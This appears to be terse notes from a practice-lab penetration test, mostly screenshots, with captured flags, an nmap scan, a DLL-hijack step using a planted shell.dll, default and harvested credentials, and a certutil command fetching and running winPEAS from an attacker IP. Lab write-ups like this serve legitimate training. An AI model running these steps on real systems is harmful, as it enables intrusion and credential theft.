# 192.168.154.248 (external) /

```
Local Flag:
    C:\Users\emma\Desktop\local.txt
    2ce6710c29b2a5ac2e800e3709f94509

Root Flag:
    C:\Users\mark\Desktop\proof.txt
    24d2bf320c7fc928a8103879d811c603
    
```

```
sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.235.248 -Pn -o target.fullmap248
```

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FtO6vmnnLmz6IdzzRtTmq%2Fimage.png?alt=media&#x26;token=424dad0c-cadb-4398-bf22-a9dee973d3c6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F9ZQmMtjwRJhQNXYcJ6hx%2Fimage.png?alt=media&#x26;token=d60621da-67ac-464b-bf57-9aca0ce5c217" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F2MM5SuXbKg18zJYTZTUZ%2Fimage.png?alt=media&#x26;token=f326a01d-27c4-48ea-b4d6-f1c48ec52634" alt=""><figcaption></figcaption></figure>

cd C:\Users\mark\Documents

copy \\\tsclient\SHARE\exploits248\shell.dll C:\Users\mark\Documents\BetaLibrary.Dll

copy C:\BetaMonitor\BetaMonitor.exe C:\Users\mark\Documents\BetaMonitor.exe

BetaMonitor.exe

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2Fx5t98uEwkPq30I25DnqX%2Fimage.png?alt=media&#x26;token=88f3c2eb-77af-4da7-97b2-f95393c7861d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FlcAZS4GBVOeNqd9aJyQT%2Fimage.png?alt=media&#x26;token=b9515e8f-1316-4d02-a44b-2d1181728f4f" alt=""><figcaption></figcaption></figure>

admin:password works

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F57EfebbdC5QRJe6BVva0%2Fimage.png?alt=media&#x26;token=48a53b31-7ab7-4869-bfec-1354c2e372ba" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FhTYNxUFtpk9Ws0N94dqh%2Fimage.png?alt=media&#x26;token=34c66245-8600-407a-a52c-a25ac48f0c5c" alt=""><figcaption></figcaption></figure>

* Broke the site while playing with the site settings

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FsdgwDtdL2uJpJqyCHel7%2Fimage.png?alt=media&#x26;token=4f6755f1-f48e-49c1-aa52-75d9b492ad28" alt=""><figcaption></figcaption></figure>

But found emma user

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FAIye6xtYOh7WqVQBYfAr%2Fimage.png?alt=media&#x26;token=dc885b04-b16d-4894-9228-51b60bf531ad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FmLU489rBRUJhLktdvZ7p%2Fimage.png?alt=media&#x26;token=a8c14a37-495b-4755-ac92-ad690f63a9b7" alt=""><figcaption></figcaption></figure>

Found another instance of emma being mentioned

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F7i6XHeHhXgvc5gIePKRs%2Fimage.png?alt=media&#x26;token=28af249f-050f-42f3-86f4-95c2ba5022af" alt=""><figcaption></figcaption></figure>

Found transfer share

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FVF0gjx41Hd7Ac5A87QC9%2Fimage.png?alt=media&#x26;token=11d48175-6909-4eec-9b67-8c16d9f1a599" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FPSxD5ZKTrxcAPlL7OzHx%2Fimage.png?alt=media&#x26;token=7c2c8d50-1b82-4e39-adcd-fa50fc974c9b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FSkJVpiTS6oLoUzbyMNoq%2Fimage.png?alt=media&#x26;token=8a6af972-8aa9-4a44-ad2b-efb1aad02d2a" alt=""><figcaption></figcaption></figure>

Useless

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F7iTHi2PLVn9AGTfqgTpO%2Fimage.png?alt=media&#x26;token=80a8e359-52e4-4215-8ec2-f2aec8f46c3a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FT8xFOU2o5Nq07EfJ5GRT%2Fimage.png?alt=media&#x26;token=354b0868-b34c-480b-ac1e-8686c5a2b450" alt=""><figcaption></figcaption></figure>

Another dead end

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F2Pw00h4qdyNYaRJZSwFE%2Fimage.png?alt=media&#x26;token=668257bc-2f98-4e8a-b480-75788e5a4a4d" alt=""><figcaption></figcaption></figure>

robots.txt is a dead end

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FXmrPg6rcTjKW92w10Nz8%2Fimage.png?alt=media&#x26;token=607f251b-3f9f-43a9-8911-3a8d15675500" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FjPa6oJ4x9YQPmZOg2hTu%2Fimage.png?alt=media&#x26;token=40abb54c-e8ce-42e4-8dc3-22b413e62f5b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FGrYF2NgtuqFH78V6TT4m%2Fimage.png?alt=media&#x26;token=f5f63ad8-5811-4c81-83a8-379f7833c8fd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FM59CGiU1xSWbGtDfdtfG%2Fimage.png?alt=media&#x26;token=d87db866-7b4e-4bd9-bd4f-98aaeae5ce16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2Fwlt78Zr3akwHGYMrdVfO%2Fimage.png?alt=media&#x26;token=65f5b404-8c99-4a7d-a5d9-5699c8c05129" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2Fkoxq0sik2d4MaA5UOiwg%2Fimage.png?alt=media&#x26;token=0fb834cf-4312-4835-8f13-fe582821cda2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2Fwe9bLMg7DlUvb2pQKTtD%2Fimage.png?alt=media&#x26;token=1ba13c7b-ef78-4d6e-a67c-c1ae7ce61d9f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FQMW6sqnVBXTAmMIy46Sk%2Fimage.png?alt=media&#x26;token=0e9b39e4-9047-48b6-9e8b-9466d8a6a656" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FISE2zHydaRftgbb1etXX%2Fimage.png?alt=media&#x26;token=c3280ea9-bb09-4676-b64b-273fc057e1de" alt=""><figcaption></figcaption></figure>

| Username | Password                    |
| -------- | --------------------------- |
| database | welcome1                    |
| dnnuser  | DotNetNukeDatabasePassword! |

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FWjz5L5R2wZtkRMmPUIS4%2Fimage.png?alt=media&#x26;token=4666a4f0-7d53-4893-a4c3-d3a0618a9566" alt=""><figcaption></figcaption></figure>

* Provide master password: welcome1

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F1b35qwsE7xxUB4Z2Tms3%2Fimage.png?alt=media&#x26;token=d1d75dfe-3843-4f66-b3ea-711089d3c3eb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FTMe9wwg0eUhFvz9XUGcs%2Fimage.png?alt=media&#x26;token=24c8d31c-3259-46a0-b5ff-88579752c71a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FbmmUQ8zSP7hBHRJrWTow%2Fimage.png?alt=media&#x26;token=f9a36fd7-9ed1-40b5-a155-2af1e8d5bd82" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2Ft6R6R6iH1KQL4NvYf8Td%2Fimage.png?alt=media&#x26;token=7b3cf73b-d62c-4980-8d81-4a16d45aefdc" alt=""><figcaption></figcaption></figure>

| Username        | Password         |
| --------------- | ---------------- |
| emma            | SomersetVinyl1!  |
| \<Unknown User> | HabitsAgesEnd123 |
| sa              | SAPassword\_1998 |
| USE FOR NEW DB  | WELCOME1         |

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FU6l6qAy2GE58ErK48Dde%2Fimage.png?alt=media&#x26;token=93a70e04-bb92-48a7-a4fa-138d7d5a3efc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F1xItOLYixbdLdn5bE9t1%2Fimage.png?alt=media&#x26;token=7883fef9-0798-4b2f-9bc2-4b1227dd9c45" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F0KUMgSvJcBqPEjSiP6C1%2Fimage.png?alt=media&#x26;token=40a8e72a-9fec-4d3e-85d9-945028b11be3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FiP5bWTuCQ6hDTx6gMHGr%2Fimage.png?alt=media&#x26;token=7890f80c-3f32-4fac-b1af-7f5ca3e613a6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FMNNmeOk1Sl2KHhB6oWYM%2Fimage.png?alt=media&#x26;token=537f41da-d36e-42d5-ba3e-6383315ab02d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FHeEB3uHb7KewkpFmfWNC%2Fimage.png?alt=media&#x26;token=a871af1f-1a6c-4d04-a38d-cb2e95e94b36" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FjelJeVhktnnHH8fmNdt3%2Fimage.png?alt=media&#x26;token=6657d60c-c707-4578-9859-32d61d6dbfa6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2F9OFpfWBu1YHJeyBw81K7%2Fimage.png?alt=media&#x26;token=2e43748d-5168-408d-ae99-2b094cc664a0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FKb5r2ex4x0MHfTFbTDv3%2Fimage.png?alt=media&#x26;token=6c7901fa-d882-4317-84be-10db91794db0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FbtTQzcPRo79LOCNeypad%2Fimage.png?alt=media&#x26;token=76f5c571-b761-4fda-b673-8b9b5e99e93a" alt=""><figcaption></figcaption></figure>

Using !8\@aBRBYdb3! as the password

Nothing happens...

Trying running cmd instead

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FF9rFO04xLIrma4lkJDtk%2Fimage.png?alt=media&#x26;token=01169685-2288-4f7c-ad59-a140865a0b55" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FLC4BA9gBFRpFjraplexx%2Fimage.png?alt=media&#x26;token=21545334-15ee-4bd6-b919-39c98fea4668" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FST2Ue3n1dmGbViQ3eABT%2Fimage.png?alt=media&#x26;token=2b657308-0cf2-4d75-bf73-a9120ea921c5" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" fullWidth="true" %}

```
cd C:\transfer
certutil -urlcache -split -f http://192.168.45.220/winPEASx64.exe winPEASx64.exe
winPEASx64.exe
```

{% endcode %}

<figure><img src="https://1857580929-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7fJZ1kUM0OFSrUcUsuoA%2Fuploads%2FANZ5QorPgwNB3fBdzkAi%2Fimage.png?alt=media&#x26;token=78c91862-e39e-4737-97b6-89214773bc61" alt=""><figcaption></figcaption></figure>
